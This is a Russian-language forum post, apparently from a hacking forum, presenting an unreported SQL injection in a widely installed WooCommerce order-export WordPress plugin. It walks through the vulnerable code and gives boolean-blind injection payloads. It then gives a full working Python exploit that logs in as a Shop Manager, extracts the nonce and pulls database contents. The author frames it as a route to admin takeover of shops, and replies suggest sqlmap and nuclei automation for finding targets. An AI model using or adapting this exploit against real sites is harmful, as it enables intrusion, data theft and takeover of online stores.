LIMB
Вход Регистрация

тема

CVE-2026-????? - AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

bezmyatezhnost · · 4 ответов · 886 просмотров

Не удалось прогрузить медиа

​
Всем привет! Я думаю это точно, не первая, и не последняя дырка, решил заняться поиском уязвимостей в плагинах вордпресс, которые как могут дать и повышение прав, так и скули, так и возможно RCE. Всякие КСРФ'ы, и тд, выкладывать смысла не вижу, импакт есть от них тоже, конечно, но не прям вау. Плагины, которые я буду брать лежат вот на этом замечательном сайте. Просто поиском, а там дальше уже будем разбирать и доводить до боевого экспа. Рейтинг я считаю по стандартным всем калькуляторам CVSS 3.0. И сегодня у нас в разборе CVE-2026-????? (я не подаю их никуда, по этому номер выдумывать я не стану), она у нас будет числиться как SQLi, и ничего особо заумного в эксплуатации не будет. Но для ее использования, нам нужны будут права Shop Manager на уровне вордпресса, то чем обычно в шопах раскидываются направо, да налево (говорю сугубо из своего опыта, во время работы с шопами было куча таких, где не получалось подняться), и именно эта уяза может дать нам прыжок выше по веткам, и захватить уже полный доступ. Наша жертва - вот эта штучка. Больше 100к инсталлов, создатели Algolplus, которые занимаются плагинами на коммерческой основе, барыжат ими. Этой уязвимости подвергаются в итоге, абсолютно все сайты, на которых есть этот плагин (тк проверял на самой свежей версии), а их напомню >100k.

Не удалось прогрузить медиа

​
Покажу еще статистику наглядно по wordpress.org у этого плагина. Обновлялся он недавно, буквально неделю назад, и работает с новейшей версией ВП. 

Не удалось прогрузить медиа

​
Наша жертва достаточно жирная, да распространнеая. Отступим от теории и прочей болтавни, пора приступать. По этому скачиваем наш плагин, разархивируем и начинаем вообще смотреть каждый клочок, каждый пук, каждый дерг. Плагин раскидан по куче файлов, но нас интересует именно ядро, то что формирует SQL-запросы и обрабатывает AJAX. Начинаем с точки входа, как вообще AJAX-запросы сюда попадают. 

Не удалось прогрузить медиа
​

Открываем classes/class-wc-order-export-admin.php и видим регистрацию хука:
Code:
add_action( 'wp_ajax_order_exporter', array( $this, 'ajax_gate' ) );
Ок, значит всё летит на ajax_gate(). Смотрим что там:
Code:
public function ajax_gate() {
    if( !current_user_can('view_woocommerce_reports') AND !current_user_can(self::$cap_export_orders) ){
        die( 'You can not do it' );
    }
    $method = 'ajax_' . sanitize_text_field(wp_unslash($_REQUEST['method']));
    $tab = isset($_REQUEST['tab']) ? sanitize_text_field(wp_unslash($_REQUEST['tab'])) : '';
    $active_tab = $tab && $this->is_tab_exists($tab) ? $tab : $this->settings['default_tab'];
    
    // ...
    if ( ! isset( $this->tabs[ $tab ] ) ) {
        $ajax_handler = new WC_Order_Export_Ajax();
        // ...
    }
    
    // Nonce check
    if (! check_admin_referer( 'woe_nonce', 'woe_nonce' ) ) {
        die( 'Wrong nonce' );
    }
    
    $_POST = stripslashes_deep( $_POST );  // ЗАПОМНИТЕ ЭТУ СТРОЧКУ
    
    $this->tabs[ $tab ]->$method();
Тут уже глаза загорелись. Во-первых, права, view_woocommerce_reports. Это как раз то, что имеет Shop Manager. Во-вторых, и это прямо ключевое, stripslashes_deep( $_POST ). Вордпресс по умолчанию добавляет magic quotes ко всем входным данным (да, в 2026 году). А тут разрабы их снимают перед тем, как дальше работать. Запомнили, идём дальше. Дальше запрос летит в таб. Если мы шлём tab=export, попадаем в WC_Order_Export_Admin_Tab_Export_Now, который наследует абстрактный класс с трейтами. И вот в одном из трейтов (trait-wc-order-export-admin-tab-abstract-ajax-export.php) живет метод ajax_estimate():
Code:
public function ajax_estimate() {
    $this->check_nonce();
    $settings = WC_Order_Export_Manage::use_ready_or_prepare_settings( $_POST );
    $total = WC_Order_Export_Engine::build_file( $settings, 'estimate', 'file', 0, 0, 'test' );
    echo json_encode( array( 'total' => $total ) );
}
Он берёт $_POST, формирует из них настройки экспорта и отправляет в движок, build_file(). Тот в режиме estimate делает COUNT(*) по заказам. И вот тут начинается самое вкусное. Цепочка от build_file() ведёт нас к формированию SQL-запроса. В файле classes/core/class-wc-order-export-data-extractor.php есть метод sql_get_order_ids_Ver1(), который собирает WHERE-условие. И вот что он делает со статусами:
Code:
if ( $settings['statuses'] ) {
    $values = self::sql_subset( $settings['statuses'] );
    if ( $values ) {
        $where[] = "orders.post_status in ($values)";
    }
}

Не удалось прогрузить медиа
​

Окей, а что за sql_subset()? Смотрим classes/core/trait-woe-core-extractor.php, строка 201:
Code:
private static function sql_subset( $arr_values ) {
    $values = array();
    foreach ( $arr_values as $s ) {
        $values[] = "'$s'";
    }
    return join( ",", $values );
}
Вот и всё. Просто оборачивает каждое значение в одинарные кавычки и склеивает запятой. Никакого esc_sql(). Никакого $wpdb->prepare(). Ничего. Просто "'$s'". А помните, что stripslashes_deep() уже снял все экранирующие слеши? Значит наши кавычки пройдут как есть. Классика.
То есть если мы в settings[statuses][] отправим:
Code:
wc-processing') OR ('1'='1
То SQL превратится в:
Code:
... AND orders.post_status in ('wc-processing') OR ('1'='1') ...
И это уже не фильтр по статусу, это OR 1=1, выбирай всё что хочешь.

Не удалось прогрузить медиа

​
sql_subset() используется не только для статусов. Вот полный список параметров, которые через неё проходят:
  • settings[statuses][] , статусы заказов
  • settings[product_vendors][] , вендоры товаров
  • settings[products][] , ID товаров
  • settings[exclude_products][] , исключаемые товары
  • settings[coupons][] , купоны
Каждый из этих параметров, отдельный вектор для инъекции. Все через одну и ту же дырявую функцию. Ну окей, OR 1=1 это красиво, но нам нужны данные. Проблема в том, что error-based тут не прокатит, вордпресс подавляет ошибки MySQL в проде. Time-based тоже так себе идея, SLEEP(4) выполнится для каждой строки в результате (а их может быть тысячи), и запрос просто упадёт по таймауту. А вот blind boolean-based, идеально. Метод estimate возвращает {"total": "1055"}, количество найденных заказов. Если наше условие истинно, total > 0, если ложно, total = 0. Бинарный поиск ASCII-кода каждого символа, 7 запросов на букву. Пейлоад для проверки одного символа:
Code:
settings[statuses][]=x') OR ORD(SUBSTRING(version(),1,1))>53 AND ('1'='1
Это разворачивается в:
Code:
orders.post_status in ('x') OR ORD(SUBSTRING(version(),1,1))>53 AND ('1'='1')
Если первый символ version() имеет ASCII-код больше 53, вернёт все заказы (total > 0). Если нет, вернёт 0. Сужаем диапазон пополам, за 7 заходов находим точный символ. Повторяем для каждой позиции.

Не удалось прогрузить медиа

​
Пишем наш скриптик-эксплоитер на Python с tls_client. Логика простая, загружаем страницу плагина /wp-admin/admin.php?page=wc-order-export, выдёргиваем woe_nonce, шлём POST на admin-ajax.php с action=order_exporter&method=estimate&tab=export&mode=now, в settings[statuses][] суём пейлоад, парсим JSON-ответ, смотрим total.

Code:
#!/usr/bin/env python3
import re, sys, json, argparse, urllib.parse, tls_client

UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True)
parser.add_argument("-l", "--login", required=True)
parser.add_argument("-p", "--password", required=True)
args = parser.parse_args()
target = args.url.rstrip("/")
domain = urllib.parse.urlparse(target).hostname

s = tls_client.Session(client_identifier="chrome_120", random_tls_extension_order=True)
s.timeout_seconds = 30

s.get(f"{target}/wp-login.php", headers={"user-agent": UA})
s.cookies.set("wordpress_test_cookie", "WP%20Cookie%20check", domain=domain, path="/")

r = s.post(f"{target}/wp-login.php", data={
    "log": args.login, "pwd": args.password,
    "wp-submit": "Log In", "redirect_to": f"{target}/wp-admin/", "testcookie": "1",
}, headers={"user-agent": UA, "content-type": "application/x-www-form-urlencoded", "origin": target})

r = s.get(f"{target}/wp-admin/", headers={"user-agent": UA})
if "adminmenu" not in r.text and "dashboard" not in r.text.lower():
    print("login failed"); sys.exit(1)
print("logged in")

r = s.get(f"{target}/wp-admin/admin.php?page=wc-order-export", headers={"user-agent": UA})
m = re.search(r'woe_nonce["\s]*[:=]\s*["\']([a-f0-9]{10})["\']', r.text)
if not m:
    m = re.search(r'"woe_nonce"\s*:\s*"([a-f0-9]{10})"', r.text)
if not m:
    print("nonce not found"); sys.exit(1)
nonce = m.group(1)
print(f"nonce: {nonce}")

ajax_url = f"{target}/wp-admin/admin-ajax.php"
ajax_h = {"user-agent": UA, "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
           "x-requested-with": "XMLHttpRequest", "origin": target,
           "referer": f"{target}/wp-admin/admin.php?page=wc-order-export"}

def base():
    return {"action": "order_exporter", "method": "estimate", "tab": "export",
            "woe_nonce": nonce, "mode": "now", "settings[format]": "CSV",
            "settings[statuses][]": "wc-processing", "settings[sort]": "order_id",
            "settings[sort_direction]": "DESC"}

def check(cond):
    d = base()
    d["settings[statuses][]"] = f"x') OR {cond} AND ('1'='1"
    r = s.post(ajax_url, data=d, headers=ajax_h)
    t = json.loads(r.text).get("total")
    return t is not None and int(t) > 0

d = base()
d["settings[statuses][]"] = "x') OR 1=1 AND ('1'='1"
r = s.post(ajax_url, data=d, headers=ajax_h)
t = json.loads(r.text).get("total")
if not t or int(t) == 0:
    print("sqli not working"); sys.exit(1)
print(f"sqli ok, total={t}")

def extract(expr, maxlen=100):
    out = ""
    for pos in range(1, maxlen + 1):
        lo, hi = 0, 127
        while lo < hi:
            mid = (lo + hi) // 2
            if check(f"ORD(SUBSTRING({expr},{pos},1))>{mid}"):
                lo = mid + 1
            else:
                hi = mid
        if lo == 0:
            break
        out += chr(lo)
        print(chr(lo), end="", flush=True)
    print()
    return out

print("version: ", end="", flush=True)
v = extract("VERSION()")
print(f"\n=> {v}")
Не удалось прогрузить медиа
​

Указываем креды шоп менеджера, запускаем скрипт, и..- О, чудо, все сработало, достали версию БД'шки. Но не ограничиваемся только этим, как я говорил ранее, импакт у нас тут следующий это повышение прав до админа. Учитывая, что мы можем делать все что угодно, то вариантов развития дальнейших событий по захвату админки куча (если интересно, откликнитесь, распишу статью отдельную как возможно подняться при скуле по известным мне векторам). Думаем, и завершаем статью. Что мы имеем в сухом остатке? Уязвимость, которая есть на ВСЕХ сайтах c этим плагином (а их, уже говорю в третий раз >100k инсталлов, и ВСЕ эти сайты - ШОПЫ, а шопы как мы знаем неплохо ценятся на рынке, не опускайте руки увидев Shop Manager думая что нельзя подняться). CVSS по калькулятору - целых 8.8, что уже почти CRITICAL. У меня лишь один вопрос к читателям, интересен ли вам такой формат, когда ищем новые уязы в плагинах вордпресса (пока что ограничимся лишь им, у меня там опыта побольше), стоит ли еще ресерчить? Ответить, обязательно. Не болейте!
👍81 🔥11 😁11 👏9 🤔23 💯23
спасибо за статью!

напомнило, я как-то выкачал все плагины вёрдпресса, написал с помощью ИИ краулер всех потенциально уязвимых экшенов. Поднял дома лабу WP и устанавливал эти плагины пачками по 30 штук . Потом проходился  скриптом, который в роли админа, редактора, юзера и гостя ходил по этим экшонам и записывал аномальное поведение на выходе. Потом уже дорабатывал руками. То, что не понимал, тупо скармливал ЧатуГПТ. Несколько зеродеев нашел, но это были заброшенные плагины с малым количеством установок. Вобще wordpress/plugins показывает общее количество установок плагина, он не учитывает что шопы могут и удалить его у себя.

Если вы нашли уязу в каком-то плагине, то стоит проверить другие плагины этого же автора, как правило они такие же дырявые.
👍3
Ответcaprica

спасибо за статью! напомнило, я как-то выкачал все плагины вёрдпресса, написал с помощью ИИ краулер всех потенциально уязвимых экшенов. Поднял дома лабу WP и устанавливал эти плагины пачками по 30 штук . Потом…

спасибо большое за обратную связь! да, вы правы) сегодня будет еще выпуск с еще и более уязами
👍1
Думаю, работа проделана хорошая. Вы определенно можете подавать на оплату данный материал.
P.S. - вот так и выглядят будни многих пентестеров.. только еще добавляются гонения плагинов в ИИшки и всевозможные фреймворки для статического анализа.
👍1
По каким критериям вы выбирали этот плагин. Когда копались в админках заметили что он иногда стоит на шопах или как нашли?) Или потому что он был ранее дырявым (я читал ресерчи в нем находили другие уязвимости, потом выходил патч).

Ответbezmyatezhnost

Пишем наш скриптик-эксплоитер на Python с tls_client. Логика простая, загружаем страницу плагина /wp-admin/admin.php?page=wc-order-export, выдёргиваем woe_nonce, шлём POST на admin-ajax.php с…

Оптимизируйте свой poc под sqlmap и продемонстрируйте как можно вывести таблицу юзеров через sqlmap. Ну и напишите yaml шаблон для nuclei, чтобы уязвимые таргеты определяло. В будущем может появится патч нужно же как-то отделять запатченные таргеты от уязвимых.

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.